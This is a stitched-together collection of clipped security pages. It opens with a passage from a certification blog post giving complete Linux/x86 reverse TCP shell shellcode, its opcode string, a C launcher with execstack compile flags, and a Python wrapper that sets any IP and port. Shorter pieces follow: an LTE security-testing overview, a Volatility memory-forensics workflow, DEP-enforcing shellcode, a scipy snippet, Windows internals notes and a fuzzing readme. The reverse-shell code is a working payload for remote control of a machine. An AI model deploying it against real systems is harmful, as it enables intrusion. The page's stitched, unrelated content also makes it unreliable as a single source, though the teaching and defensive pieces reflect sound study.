as you need it there during the dup2-syscall:

1 | xchg ebx,edx ;save sockfd  
---|---  
Followed by the same looping-fun like in assignment \#1:

123456 | ; loop through three sys\_dup2 calls to redirect stdin\(0\), stdout\(1\) and stderr\(2\)loop: mov al, 0x3f ;syscall: sys\_dup2  int 0x80 ;exec sys\_dup2 dec ecx ;decrement loop-counter jns loop ;as long as SF is not set -> jmp to loop  
---|---  
Finally all 3 outputs are redirected\!

**Execute some more magic**

This is nearly the same like last time, but again with a small change: You
need to PUSH the terminating NULL for the /bin//sh string seperately onto the
stack, because there isn’t already one to use:

123456789101112131415 | ;; int execve\(const char \*filename, char \*const argv\[\],char \*const envp\[\]\);;mov al, 0x0b ; syscall: sys\_execve inc ecx ;argv=0mov edx,ecx ;envp=0 push edx ;terminating NULLpush 0x68732f2f ;"hs//"push 0x6e69622f ;"nib/" mov ebx, esp ;save pointer to filename int 0x80 ; exec sys\_execve  
---|---  
DONE.

**Complete shellcode**

Here’s the complete and commented shellcode:

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889 | ; SLAE - Assignment \#2: Shell Reverse TCP Shellcode \(Linux/x86\); Author: Julien Ahrens \(@MrTuxracer\); Website: http://www.rcesecurity.com global \_start section .text\_start: ; ; int socketcall\(int call, unsigned long \*args\); ; sockfd = socket\(int socket\_family, int socket\_type, int protocol\); ; push 0x66 pop eax ;syscall: sys\_socketcall + cleanup eax push 0x1 pop ebx ;sys\_socket \(0x1\) + cleanup ebx xor edx,edx ;cleanup edx push edx ;protocol=IPPROTO\_IP \(0x0\)  push ebx ;socket\_type=SOCK\_STREAM \(0x1\) push 0x2 ;socket\_family=AF\_INET \(0x2\) mov ecx, esp ;save pointer to socket\(\) args int 0x80 ;exec sys\_socket xchg edx, eax; save result \(sockfd\) for later usage ; ; int socketcall\(int call, unsigned long \*args\); ; int connect\(int sockfd, const struct sockaddr \*addr, socklen\_t addrlen\); ; mov al, 0x66 ;struct sockaddr\_in \{ ; \_\_kernel\_sa\_family\_t sin\_family; /\* Address family \*/ ; \_\_be16 sin\_port; /\* Port number \*/ ; struct in\_addr sin\_addr; /\* Internet address \*/ ;\}; push 0x0101017f ;sin\_addr=127.1.1.1 \(network byte order\) push word 0x3905 ;sin\_port=1337 \(network byte order\) inc ebx push word bx ;sin\_family=AF\_INET \(0x2\) mov ecx, esp ;save pointer to sockaddr struct push 0x10 ;addrlen=16 push ecx ;pointer to sockaddr push edx ;sockfd mov ecx, esp ;save pointer to sockaddr\_in struct inc ebx ; sys\_connect \(0x3\) int 0x80 ;exec sys\_connect  ; ; int socketcall\(int call, unsigned long \*args\); ; int dup2\(int oldfd, int newfd\); ; push 0x2 pop ecx ;set loop-counter xchg ebx,edx ;save sockfd ; loop through three sys\_dup2 calls to redirect stdin\(0\), stdout\(1\) and stderr\(2\)loop: mov al, 0x3f ;syscall: sys\_dup2  int 0x80 ;exec sys\_dup2 dec ecx ;decrement loop-counter jns loop ;as long as SF is not set -> jmp to loop ; ; int execve\(const char \*filename, char \*const argv\[\],char \*const envp\[\]\); ; mov al, 0x0b ; syscall: sys\_execve inc ecx ;argv=0 mov edx,ecx ;envp=0 push edx ;terminating NULL push 0x68732f2f ;"hs//" push 0x6e69622f ;"nib/" mov ebx, esp ;save pointer to filename int 0x80 ; exec sys\_execve  
---|---  
**Test the shellcode**

Same commandline-fu:

1 | objdump -d ./linux\_x86\_shell\_reverse\_tcp.o|grep '\[0-9a-f\]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'  
---|---  
Same template, different opcodes:

1234567891011 | \#include <stdio.h> unsigned char shellcode\[\] = \"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; main\(\)\{ printf\("Shellcode Length: %d\n", sizeof\(shellcode\) - 1\); int \(\*ret\)\(\) = \(int\(\*\)\(\)\)shellcode; ret\(\);\}  
---|---  
Same compilation-fu:

1 | gcc shellcode.c -o linux\_x86\_shell\_reverse\_tcp -fno-stack-protector -z execstack -m32  
---|---  
But amazing different magic\! Start a netcat-listener on port 1337:

<img src='img/Temp2_7164' width='308' height='37'
alt='linux_x86_shell_reverse_tcp-2' />

Fire up the shellcode:

<img src='img/Temp2_7159' width='439' height='53'
alt='linux_x86_shell_reverse_tcp-3' />

And finally type in some crazy tux-fu in your reverse-shell:

<img src='img/Temp2_7162' width='641' height='135'
alt='linux_x86_shell_reverse_tcp-4' />

You may also verify the different syscalls using strace: <img
src='img/Temp2_7163' width='770' height='190'
alt='linux_x86_shell_reverse_tcp-5' />

**IP-Address and Port Configuration**

I love Python for many reasons\! Just to mention one: things are done
quickly\!

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768 | \#\!/usr/bin/python \# SLAE - Assignment \#2: Shell Reverse TCP Shellcode \(Linux/x86\) Wrapper\# Author: Julien Ahrens \(@MrTuxracer\)\# Website: http://www.rcesecurity.com  import sys def rethex\(n\): h1 = hex\(int\(n\)\)\[2:\] if len\(h1\) == 3: h1 = "0" + h1 if len\(h1\) >= 3: t1 = h1\[0:2\] t2 = h1\[2:4\] h1 = "\\\x" + t1 + "\\\x" + t2 if len\(h1\) < 4 and len\(h1\) > 2: h1 = "0" + h1 if len\(h1\) < 2: h1="\\\x0" + h1 if len\(h1\) == 2: h1="\\\x" + h1 if h1 == "\\\x00": print "Oops, looks like the final shellcode contains a \\\x00 :\(\!\r\n" exit\(\) return h1  total = len\(sys.argv\)if total \!= 3: print "Usage: python linux\_x86\_shell\_reverse\_tcp.py \[ip\] \[port\]"else: try: ip = sys.argv\[1\] addr = "" for i in range\(0,4\): addr = addr + rethex\(ip.split\(".",3\)\[i\]\) print "Shellcode-ready address: " + addr  port = sys.argv\[2\] if int\(port\) > 65535: print "Port is greater than 65535\!" exit\(\) if port < 1024: print "Port is smaller than 1024\! Remember u need r00t for this ;\)" exit\(\) shellport = rethex\(port\) print "Shellcode-ready port: " + shellport + "\r\n\r\nShellcode:\r" shellcode = \("\\\x6a\\\x66\\\x58\\\x6a\\\x01\\\x5b\\\x31\\\xd2"+ "\\\x52\\\x53\\\x6a\\\x02\\\x89\\\xe1\\\xcd\\\x80"+ "\\\x92\\\xb0\\\x66\\\x68"+addr+ "\\\x66\\\x68"+shellport+"\\\x43\\\x66\\\x53\\\x89"+ "\\\xe1\\\x6a\\\x10\\\x51\\\x52\\\x89\\\xe1\\\x43"+ "\\\xcd\\\x80\\\x6a\\\x02\\\x59\\\x87\\\xda\\\xb0"+ "\\\x3f\\\xcd\\\x80\\\x49\\\x79\\\xf9\\\xb0\\\x0b"+ "\\\x41\\\x89\\\xca\\\x52\\\x68\\\x2f\\\x2f\\\x73"+ "\\\x68\\\x68\\\x2f\\\x62\\\x69\\\x6e\\\x89\\\xe3"+ "\\\xcd\\\x80"\) print "Final shellcode:\r\b\"" + shellcode + "\"" except: print "exiting..."  
---|---  
Let’s test this script in a real-world environment\! Using the ip as the
first, and the port as the second argument, echoes back the new shellcode,
which is ready to use:

<img src='img/Temp2_7160' width='672' height='152'
alt='linux_x86_shell_reverse_tcp-6' />

Let’s test the new shellcode by starting a netcat listener on Kali with the
assigned IP address 10.1.1.1 and running the shellcode on a second box, which
results in shellcode-fu:

<img src='img/Temp2_7165' width='720' height='187'
alt='linux_x86_shell_reverse_tcp-7' />

et voila, mission accomplished <img src='img/9278_1f642.svg' width='16'
height='16' alt='🙂' />

This blog post has been created for completing the requirements of the
SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-
expert/

Student ID: SLAE- 497

Tagged on: assembly linux shellcode SLAE

  

# LTE Security Testing

**Created:**| _9/16/2013 8:08:13 PM_  
---|---  
**Updated:**| _9/16/2013 8:08:13 PM_  
**Author:**| __  
**Tags:**| _gsm sdr_  
  

# **L** TE Security Testing****

Martyn Ruks  
August 08, 2013

It is an exciting time in the world of telecommunications and mobile
working**.** We have seen the unprecedented proliferation of mobile devices,
including smartphones and tablets, coupled with the increasing accessibility
of 4G network services**.** The result is a highly versatile and mobile
workforce that wants to consume new technology faster than ever and wants to
revolutionise their working practices and methods**.** So, at the point where
the adoption of 4G technology by businesses and consumers alike is set to rise
massively, do we understand the implications of using it**?** And what do
providers need to do to provide assurances about its security**?**

First, let’s be clear about the definition of 4G**.** We are talking about the
3GPP Long Term Evolution \(LTE\) Advanced standards, and not any of the other
competing technologies such as WiMAX**.** The LTE standard is primarily about
improving the user experience for mobile communication**.** However, it also
includes added benefits for the operators**.**

In simple terms, the LTE standard aims to support the delivery of network
services that:

  * Are extremely fast, offering high bandwidth
  * Have lower levels of latency
  * Facilitate user equipment moving at high speeds
  * Use a simplified and scalable back-end architecture

The number of components, interfaces and protocols that existed in older
methods of mobile data delivery created a barrier to deployment**.** The lack
of geographic scalability resulted in less than optimal population coverage
from network providers**.** The LTE specification aims to enable the delivery
of improved mobile services and to reduce the complexity and cost of deploying
mobile data networks**.**

In LTE, this has partly been achieved by consolidation of components that are
used in legacy infrastructures to produce a flatter network topology**.**
Radio layer components have been redesigned in a more modular way to allow
faster deployment: this enables the effective handover of user sessions from
one geographic node to another; and aspects of the non-radio layer more
closely resemble traditional IP networks**.** These factors result in
improvements to the service delivered to customers, as well as lower
deployment and maintenance costs for the network provider, which should in
turn act as an incentive to increase coverage**.**

So why should we care about security if we are going to use 4G**?** After all,
the standards address some of the concerns raised by previous incarnations of
mobile technology, so surely it must be more secure than 3G, as well as
everything that came before it**.**

I can already hear you saying “No**\!** ” After all, it uses IP for all back-
end communications so it must be easier to attack and therefore must be less
secure**.** The older technology used weird and wonderful protocols, so you
couldn’t just plug your laptop into the base station and start attacking the
back-end network with common tools**.**

When you look at LTE, you will clearly see that it uses IP networks
throughout, so that you can use the tools you know and love against the back-
end components**.** This includes the Base Station equivalent, known as the
evolved NodeB \(eNodeB\), making it therefore much easier to attack**.**

If you are asked to consider the security implications of your business using
a 4G network, you may feel a little bit daunted by the subject – from
impenetrable acronyms and components such as the eNodeB, to the systems within
the Evolved Packet Core \(EPC\)**.** Additionally, components like the MME,
HSS, PCRF, SGW and PGW may be new to you, particularly if you haven’t looked
at a 3G network**.** Secondly, there are some protocols that you might not be
that familiar with, for example, have you ever looked at SCTP**?** Do you know
what S1AP is**?** What about GTP and all its different flavours? Putting the
protocols and the components together, what would be the most profitable
attacks**?** What could an attacker try and spoof? Where might an attacker be
able to route packets to**?** Which protocols will they be fuzzing and what
vulnerabilities might affect you as a user of the system**?**

Whether you are tasked with guiding your business on its use of LTE or you are
a provider preparing for testing an LTE environment, there are probably a
whole range of questions that you would like to be able to answer**.**

In this knowledge centre piece, we will offer an analysis of LTE, so you can
have confidence in its security**.** We will outline the important components
in an LTE environment, scenarios for security testing that should be
considered and some key security controls that should be implemented to
protect the network**.**

### The Components****

The objective of this knowledge centre article is not to provide you with a
full description of all the systems and protocols that comprise an LTE
network**.** However, it does aim to provide an insight into the roles of key
attributes of the system, so that you can clearly understand what is important
when you come to test its security**.** Let’s start with some of the main
components, followed by more detailed descriptions**.**

<img src='img/Temp2_4818.png' alt='lte-components' />

#### User Equipment****

UE is a generic term that refers to any device or system that consumes IP
services in the environment**.** At present, UE is primarily composed of USB
dongles and LTE network hubs, but there are increasing numbers of smartphones
and tablets that are 4G enabled**.** UE should only be capable of consuming
services on the Internet or those specifically facilitated by the network
operator; they should never to able to participate in direct IP communication
within the environment**.**

#### Evolved NodeB****

An eNodeB is an evolution of the Base Transceiver Station \(BTS\) as present
in previous GSM implementations, and it acts as the bridge between wireless
and wired networks**.** An eNodeB will typically have three LTE-specific
interfaces, one wireless or air interface \(known as Uu\), one for inter-
eNodeB communication \(known as X2\) and one for communication with the MME
and Serving Gateway \(known as S1\)**.** These devices may also contain other
interfaces – such as those used for management – that use IP or Universal
Serial Bus \(USB\) communication, although these are not specified by the LTE
standard**.** The eNodeB will typically be attached to an external aerial via
the Uu interface**.**

#### Evolved Packet Core****

The EPC is the collective term for the back-end infrastructure that the
eNodeBs communicate with and through which user traffic passes**.** The EPC
contains a number of discrete components that play different roles**.** The
primary change in these environments from what existed in previous
technologies is the use of the Internet Protocol \(IP\) in all wired
communication**.**

#### Home Subscriber Service****

The Home Subscriber Service \(HSS\) is a central store of all user-related
subscription data**.** These profiles identify the level of access that user
equipment will have on the network and the services and data bearers that are
mandated by these profiles**.** The HSS participates in the management of UE
across cells, call establishment support, user authentication and
authorisation**.** UE is authenticated to the network using data that is
derived from keys that are stored within a Universal Subscriber Identity
Module \(USIM\) and within the HSS**.**

#### Mobility Management Entity****

The MME is the control node for the LTE network**.** It is responsible for the
tracking and management of UE that is in idle mode**.** The MME is involved in
the brokering of data bearers and the assignment of a Serving Gateway \(SGW\)
to UE during the registration process**.** By interacting with the HSS, the
MME handles authentication of UE in the registration phase**.**

#### Serving Gateway****

The Serving Gateway \(SGW\) is primarily responsible for the management of UE
state information and the routing of user data packets**.** Additionally, the
SGW is used as an anchor point for UE crossing from one eNodeB’s coverage area
to another**.**

#### Packet Data Network Gateway****

The Packet Data Network Gateway \(PGW\) provides an entry and exit point for
UE that is accessing external packet data networks**.** The PGW implements
deep packet inspection for the profiling of data channels and the provisioning
of suitable data bearers**.**

#### Unified/Consolidated Gateway****

A unified or consolidated gateway combines the functionality of both the SGW
and PGW into a single component with internal communication between the
two**.**

### The Protocols****

One of the major changes between LTE and previous technologies is the use of
the Internet Protocol \(IP\) for communication between components in the
environment**.** This use of IP provides greater scope for an attacker to
abuse the features of the IP protocol, specifically because the network design
is more likely to share components between user and control planes**.**

More interestingly, a number of additional protocols use IP for their
transport and require specific knowledge from any prospective tester or
security monitor**.** The following protocols used within the wired network
are critical to the security of an LTE environment and testing activities
should therefore include analysis of them and the manner in which they
interact with individual components:

#### Session Control Transport Protocol****

Alongside both TCP and UDP, SCTP is used for a number of communication streams
within the back-end network**.** The primary use of SCTP is for the handling
of critical communications between eNodeBs and the MME, where robust
communication is critical to the successful operation of the environment**.**

#### S1 Application Protocol****

S1AP supports the transfer of data between eNodeBs and the MME**.** This
protocol is used to transfer signalling information between the UE and the MME
and to manage session state between eNodeBs and the MME**.** The protocol uses
the SCTP for underlying session management and guaranteed delivery**.** Within
S1AP, a pair of IDs is used to track the identity of an individual UE in the
data that is communicated**.** One of these IDs is generated by the eNodeB and
the other by the MME**.**

#### X2 Application Protocol****

X2AP provides the communication of data between individual eNodeB components
and is similar to S1AP in its structure**.** This is used to transfer
information about UE when performing a mobile handover**.** The protocol uses
the Session Control Transport Protocol \(SCTP\) for underlying session
management and guaranteed delivery**.**

#### GPRS Tunnelling Protocol User****

GTP-U is used for the transfer of user data between the eNodeB and the Serving
Gateway as well as between eNodeBs during X2 handover**.** The protocol is
used to encapsulate a user’s IP traffic so that it can be transported into the
EPC where it is subsequently unencapsulated and routed onwards to its
destination**.** As a GTP packet can be encapsulated inside another, it is
possible to construct an IP packet with multiple layers of GTP data**.** If
not correctly handled by the equipment, this feature might allow an attacker
to use encapsulation to bypass security controls**.** The eNodeB will always
add one layer of IP data to the packet sent by the UE when encapsulating the
data, therefore an attacker does not have full control over its
construction**.**

#### GPRS Tunnelling Protocol Control****

GTP-C can be used for communication between back-end components within the
EPC, although it is not a principal part of the standard**.** The protocol is
also used by legacy 3G components, although transport over IP is a requirement
in LTE**.**

### Testing Approach****

If you are running an LTE network, it is important that you have considered
all of the viable attack scenarios that exist**.** If you are intending to use
4G, then you need to consider what the implications are if your provider
hasn’t addressed them**.**

Attacks that are conducted across the air interface of the environment are
assessed to be of the greatest concern and therefore a large amount of testing
should be conducted from this perspective**.** However, it is important that a
threat modelling based approach is used to identify where the critical
controls are within any given deployment and that an appropriate level of
testing is used to provide assurances about them**.**

There are four primary testing locations that should be considered when
planning a security testing engagement within an LTE environment:

<img src='img/Temp2_4817.png' alt='lte-testing-locations' />

#### Location 1****

Tests conducted from this location emulate an attacker with wireless access to
an LTE environment through an operator-provided dongle, home router or
smartphone**.** The attacker could attack the environment through routing and
spoofing attacks, primarily using IP Traffic sent from a laptop or other
connected system**.**

The following types of testing activities are recommended at this location:

  * Extent of UE access to the EPC
  * Accessibility of other UEs
  * IP spoofing attacks
  * Use of special IP addresses \(e**.** g**.** 0.0.0.0 and 127**.** 0.0.1\)
  * SCTP enumeration and endpoint discovery
  * GTP-C analysis and probing
  * GTP-U spoofing and tunnel ID guessing
  * Multiple encapsulation attacks

#### Location 2****

Tests conducted from this location emulate an attacker with the ability to
monitor and intercept wireless communications passing between a user and an
operator’s radio mast**.** Without access to vendor equipment, it would be
very difficult to perform practical attacks at this location given the
sophistication of the wireless technology that is used**.** However, as has
been illustrated recently, it is possible \(though not straightforward\) to
build LTE stacks that could be used to test this interface**.**

The following types of testing activities are recommended at this location if
appropriate tools can be built:

  * Baseband fuzzing
  * Wireless protocol manipulation
  * Traffic sniffing
  * Fake base station deployment

There are controls built into the standard to provide protection against some
of these techniques**.** However, implementation quality is still a big factor
as to whether these are effective in practice**.**

#### Location 3****

This emulates an attacker with physical access to an eNodeB and any associated
cabling or network equipment**.** The attacker could attempt to compromise the
eNodeB physically and connect to unused ports or tamper with the network
cables that are attached**.**

The following types of testing activities are recommended at this location:

  * Testing of management interfaces
  * Traffic sniffing on wired interfaces
  * Probing exposed USB ports
  * Assessment of physical security controls

#### Location 4****

This emulates an attacker with IP access to the network between the eNodeB and
EPC and is assumed to be possible at any location between them**.** Conducting
testing emulates an attacker who has identified a mechanism for sending and
receiving traffic at this location**.** This could be through unauthorised
physical access or through a logical attack from the air interface**.** At
this location, the testing should include analysis of both the control plane
\(used for signalling\) and the user plane \(used for transferring a user’s
data\)**.**

The following types of testing activities are recommended at this location:

  * SCTP fuzzing
  * SCTP session parameter analysis
  * S1AP logic and protocol attacks
  * S1AP eNodeB spoofing
  * X2AP logic and protocol attacks
  * GTP spoofing and tunnel ID analysis
  * Routing and VLAN hopping attacks
  * IPSec configuration assessment

### Conclusions****

There are a number of recommendations that are critical for a provider to have
implemented with respect to security controls within an LTE environment**.**
If they haven’t done so, any data traversing these networks may not be as
secure as you would hope**\!** The most important of these controls are
firstly the secure design and configuration of IP routing and secondly the use
of IPSec between eNodeBs and the EPC**.** Each of these key controls should be
covered by the testing approach outlined previously, and more detail is given
here**.**

#### Design and Configuration of IP Routing****

Ensuring that UE cannot access any services within the EPC is a fundamental
requirement of the security model**.** The design of the architecture in the
core is therefore vital to achieving this effectively**.**

Preventing the routing of traffic from UE into the inner part of the EPC
should be achieved by a combination of secure design and effective routing
configuration**.** One of the primary considerations is how traffic on the
Internet-facing side of the PDN Gateway is routed, and this should ideally
avoid any switches or network equipment that has a route into the core of the
EPC**.**

The design of IP routing in the environment is complex: it will typically
require the use of different types of network device; it will utilise multiple
VLANs; and it will use multiple IP address ranges**.** If IPv4 and IPv6
support is required both for users and within the core, this can also increase
complexity**.** A robust architecture is fundamental to securing the
environment**.** This should be validated with security testing as described
previously**.**

If a provider hasn’t addressed this correctly, there is the possibility that
an attacker will be able to exploit these vulnerabilities and access key
system components**.** The implications range from their being able to bypass
billing through to the worst case scenario – the compromise both of the system
and of the data passing through it**.**

#### IPSec****

In a default configuration, there is no method of providing authentication,
confidentiality or integrity protection for any communication that occurs
between eNodeB and the EPC**.** As eNodeBs will be placed in locations that
may have poor physical security controls, these communications need to be
secured using other means**.**

IPSec is accepted as being the recommended method of securing communication on
the S1, X2 and user plane connections within an LTE environment**.** However,
there are several challenges in implementing it in a secure manner**.**

It is recommended that any IPSec connections to the eNodeB are terminated in
the host, as the ability to control network level access into the EPC is
vitally important**.** This can be achieved by terminating IPSec either at a
gateway or within the individual EPC components**.**

When you are configuring systems in the EPC and eNodeB to use IPSec, it is
recommended that services and interfaces are not accessible without using
IPSec**.** This is of particular concern when physical access can be gained to
exposed interfaces on an eNodeB**.** IPSec also needs to be enforced on all
interfaces that are enabled but not used**.** The quality of the IPSec
implementation is another key area for security testing as described
previously**.**

IPSec was not part of the LTE standard**.** However, it is required to secure
the network when an eNodeB is located at an insecure location**.** In
particular, it should be noted that the authentication that can be provided by
a correctly configured IPSec implementation is not equivalent to and cannot be
translated to authentication in the LTE network**.** A single compromised
IPSec connection may allow an attacker to impersonate other nodes on the
network and would expose systems to attacks at the level of the protocols that
are otherwise protected within the IPSec tunnel**.**

If a provider hasn’t implemented this correctly, it could result in the
exposure of data passing across the wired components of the network**.** If
you were counting on the provider’s encryption to protect your data from
attack, then this might be an unexpected blind-spot**.**

If appropriate security input is provided during the design and implementation
phases of an LTE network, there is no reason that a robust and secure
environment should not be achieved**.** However, it is important that the
security controls stated within the LTE standard are not blindly relied upon
to protect the environment and its users**.** Only a good understanding of the
potential risks and validation of the security controls that are implemented
to mitigate them will provide assurance as to the security of an LTE
environment**.**

**Back> **

****

# Programming Ruby: The Pragmatic Programmer's Guide

**Created:**| _7/2/2009 8:31:10 PM_  
---|---  
**Updated:**| _7/2/2009 8:31:19 PM_  
**Author:**| __  
**Tags:**| _bookmark ruby_  
  
Click here for a non-frames version of this page.

# Volatility Workflow for Basic Incident Response – Laskowski-Tech

**Created:**| _3/2/2019 6:22:15 PM_  
---|---  
**Updated:**| _3/2/2019 6:22:15 PM_  
**Author:**| _wishi_  
**Tags:**| _Memory forensics incident response_  
  

  

# Volatility Workflow for Basic Incident Response

Posted on __ February 18, 2019 by  __admin

Recently I found myself needing to do some investigations of full memory
dumps. This was a pretty untried arena for me, even if it has been on my radar
to learn for a while. After a bit of blindly stumbling around I found this
article from Volatility-Labs which grounded me and gave me a good starting
point to assess a memory dump. So take a peak, certainly there are much deeper
techniques for malware analysis from memory, but this process should allow for
basic analysis of any memory dump.

First of course we need to collect a memory dump. There are many different
tools for this if you want a write up on many of the options check out this
article from Marcos Fuentes Martínez comparing acquisition tools. For my
testing I chose to use DumpIt from Comae.

<img src='img/Temp2_9003.png' width='915' height='650' />

With the executable loaded to a flash drive I attached it to the system to
investigate. Here I used it with the /T flag to copy the memory in a RAW
format.

[code]

    .\DumpIt.exe /T RAW
[/code]

After the memory is acquired and taken to the analysis system, the first thing
we need to find out is that memory profile we need to use so that our tools
known how to read the dump. In this case I will be using the open source tool
Volatility to query and analyze the dump. I recommend downloading the
standalone executable from their download page to avoid dependency issues. For
Volatility the command to run is imageinfo, this should run for a while and
then output recommended memory profiles.

<img src='img/Temp2_9000.png' width='1235' height='408' />

Now with a profile in hand we can query some data that any System Admin should
be familiar with, running processes and networking activity.

–profile: sets volatility to know how to process the memory dump

-f: designates the file for volatility to ingest \(the raw memory file\)
pslist: list running processes

netscan: network activity, similar to a netstat on many OS’s

<img src='img/Temp2_9005.png' width='1392' height='882' />

<img src='img/Temp2_9002.png' width='1386' height='886' />

Looking at this data out analyst may be able to notice some oddities, or be
able to check with a baseline or the system owner for a list of known good
activity from the system. \(8443 anyone?\)

After querying and inspecting the live data lets take stock of the loaded
executables. To do this we will dump all DLL’s and loaded modules.

Here we will use the -D flag to dump the files to an output directory.

dlldump: dump loaded dlls

moddump: dump loaded modules

<img src='img/Temp2_9007.png' width='1488' height='572' />

<img src='img/Temp2_9004.png' width='1462' height='736' />

Next we will use the volatility module malfind to look for code injection in
running processes and also dump this to an output directory.

malfind: look for injected shellcode

<img src='img/Temp2_9001.png' width='1468' height='860' />

After collecting this data we will scan it using known IOC’s. In this case I
used ClamAV, Loki, and SparkCore \(In order below\). Each of these were able
to pick up on the malicious running code.

<img src='img/Temp2_8999.png' width='820' height='300' />

<img src='img/Temp2_9006.png' width='1698' height='400' />

<img src='img/Temp2_8998.png' width='1840' height='981' />

So now our front line incident responder can confirm that the system has
malicious code present in memory and can escalate the case appropriately. Have
questions hit me up on twitter @laskow26, and references below:

https://volatility-labs.blogspot.com/2016/08/automating-detection-of-known-
malware.html

https://downloads.volatilityfoundation.org//releases/2.4/CheatSheet\_v2.4.pdf

https://unminioncurioso.blogspot.com/2019/02/dfir-choose-your-weapon-well-
calculate.html

Finding Metasploit’s Meterpreter Traces With Memory Forensics

__Posted inanalysis, dfir, malware, soc

  

# DEP Enforcing Shellcode « Didier Stevens

**Created:**| _9/9/2011 10:36:10 AM_  
---|---  
**Updated:**| _9/9/2011 10:36:10 AM_  
**Author:**| __  
**Tags:**| _shellcode Dep_  
  

#

## Friday 9 September 2011

### DEP Enforcing Shellcode

Filed under: My Software — Didier Stevens @ 7:25  

I developed shellcode that enforces permanent DEP when it is injected inside a
process:

<img src='img/Temp2_1821.png' width='852' height='66' />

This is for my Brucon workshop. More details to be posted later.

`01`| `BITS 32`  
---|---  
`02`|  
---|---  
`03`| `KERNEL32_HASH equ 0x000d4e88`  
---|---  
`04`| `KERNEL32_NUMBER_OF_FUNCTIONS equ 1`  
---|---  
`05`| `KERNEL32_SETPROCESSDEPPOLICY_HASH equ 0x06f26f66`  
---|---  
`06`|  
---|---  
`07`| `PROCESS_DEP_ENABLE equ 1`  
---|---  
`08`|  
---|---  
`09`| `segment .text`  
---|---  
`10`| ` ``call geteip`  
---|---  
`11`| `geteip:`  
---|---  
`12`| ` ``pop ebx`  
---|---  
`13`|  
---|---  
`14`| ` ``; Setup environment`  
---|---  
`15`| ` ``lea esi, [KERNEL32_FUNCTIONS_TABLE-geteip+ebx]`  
---|---  
`16`| ` ``push esi`  
---|---  
`17`| ` ``lea esi, [KERNEL32_HASHES_TABLE-geteip+ebx]`  
---|---  
`18`| ` ``push esi`  
---|---  
`19`| ` ``push KERNEL32_NUMBER_OF_FUNCTIONS`  
---|---  
`20`| ` ``push KERNEL32_HASH`  
---|---  
`21`| ` ``call LookupFunctions`  
---|---  
`22`|  
---|---  
`23`| ` ``; Enable permanent DEP in current process`  
---|---  
`24`| ` ``push PROCESS_DEP_ENABLE`  
---|---  
`25`| ` ``call [KERNEL32_SETPROCESSDEPPOLICY-geteip+ebx]`  
---|---  
`26`|  
---|---  
`27`| ` ``ret`  
---|---  
`28`|  
---|---  
`29`| `%include "sc-api-functions.asm"`  
---|---  
`30`|  
---|---  
`31`| `KERNEL32_HASHES_TABLE:`  
---|---  
`32`| ` ``dd KERNEL32_SETPROCESSDEPPOLICY_HASH`  
---|---  
`33`|  
---|---  
`34`| `KERNEL32_FUNCTIONS_TABLE:`  
---|---  
`35`| `KERNEL32_SETPROCESSDEPPOLICY dd 0x00000000`  
---|---

# The Glowing Python: Hot to find the intersection of two function

**Created:**| _5/10/2011 3:57:13 PM_  
---|---  
**Updated:**| _5/10/2011 3:57:13 PM_  
**Author:**| __  
**Tags:**| _python programming math_  
  

### Hot to find the intersection of two function

  
Previously we seen how to find roots of a function with fsolve, in this
example we use fsolve to find an intersection between two functions, sin\(x\)
and cos\(x\):  

[code]

    from scipy.optimize import fsolve
    import pylab
    import numpy
    
    def findIntersection(fun1,fun2,x0):
     return fsolve(lambda x : fun1(x) - fun2(x),x0)
    
    result = findIntersection(numpy.sin,numpy.cos,0.0)
    x = numpy.linspace(-2,2,50)
    pylab.plot(x,numpy.sin(x),x,numpy.cos(x),result,numpy.sin(result),'ro')
    pylab.show()
[/code]

In the graph we can see sin\(x\) \(blue\), cos\(x\) \(green\) and the
intersection found \(red dot\) starting from x = 0.  

<img src='img/Temp2_8052.png' width='320' height='241' />

# Exploit Monday: Undocumented NtQuerySystemInformation Structures \(Updated
for Windows 8\)

**Created:**| _6/23/2013 7:32:06 AM_  
---|---  
**Updated:**| _6/23/2013 7:32:06 AM_  
**Author:**| __  
**Tags:**| _web-app-sec windows security Exploit_  
  

# **U** ndocumented NtQuerySystemInformation Structures \(Updated for Windows
8****\)

Those familiar with Windows internals are likely to have used the
NtQuerySystemInformation function in ntdll**.** This function is extremely
valuable for getting system information that would otherwise not be made
available via the Win32 API**.** The MSDN documentation  only documents a
minimal subset of the structures returned by this powerful function,
however**.** To date, one of the best references for the undocumented features
of this function has been the “Windows NT/2000 Native API Reference **.** ”
Despite being published in 2000, many of the structures documented in this
book are still relevant today**.** In recent history though, Microsoft has
quietly expanded the number of functions returned by
NtQuerySystemInformation**.** Thankfully, the vast majority of them have been
made public via symbols present in uxtheme.dll \(64-bit structures\) and
combase.dll \(32-bit\) structures in Windows 8**.** At last check, it appears
as though Microsoft pulled these symbols from the latest versions of the
respective dlls**.**

I did my best to document these structures and fill in as many holes as
possible in the SystemInformationClass enum**.** What resulted is the
following image – a mapping of SystemInformationClass constants to their
respective 32-bit structure and a header file – NtQuerySystemInformation**.**
h. I validated that the header file is properly parsed by IDA \(Ctrl+F9\)**.**
To view the result of what was parsed in IDA, press Shift+F1 \(Local Types
Subview\)**.** The most notable structures are the ones that return
pointers**.** In many cases, these are pointers to kernel memory**.** >D

<img src='img/Temp2_2919.png' />

#### No comments**** :

#### Post a Comment****

#### Links to this post****

Create a Link

****

# moflow/afl-dyninst at master · vrtadmin/moflow · GitHub

**Created:**| _3/26/2015 5:27:55 PM_  
---|---  
**Updated:**| _3/26/2015 5:27:55 PM_  
**Author:**| __  
**Tags:**| _fuzzing_  
  

[code]

    American Fuzzy Lop + Dyninst == AFL Fuzzing blackbox binaries
    
    The tool has two parts. The instrumentation tool and the instrumentation 
    library. Instrumentation library has an initialization callback and basic 
    block callback functions which are designed to emulate what AFL is doing
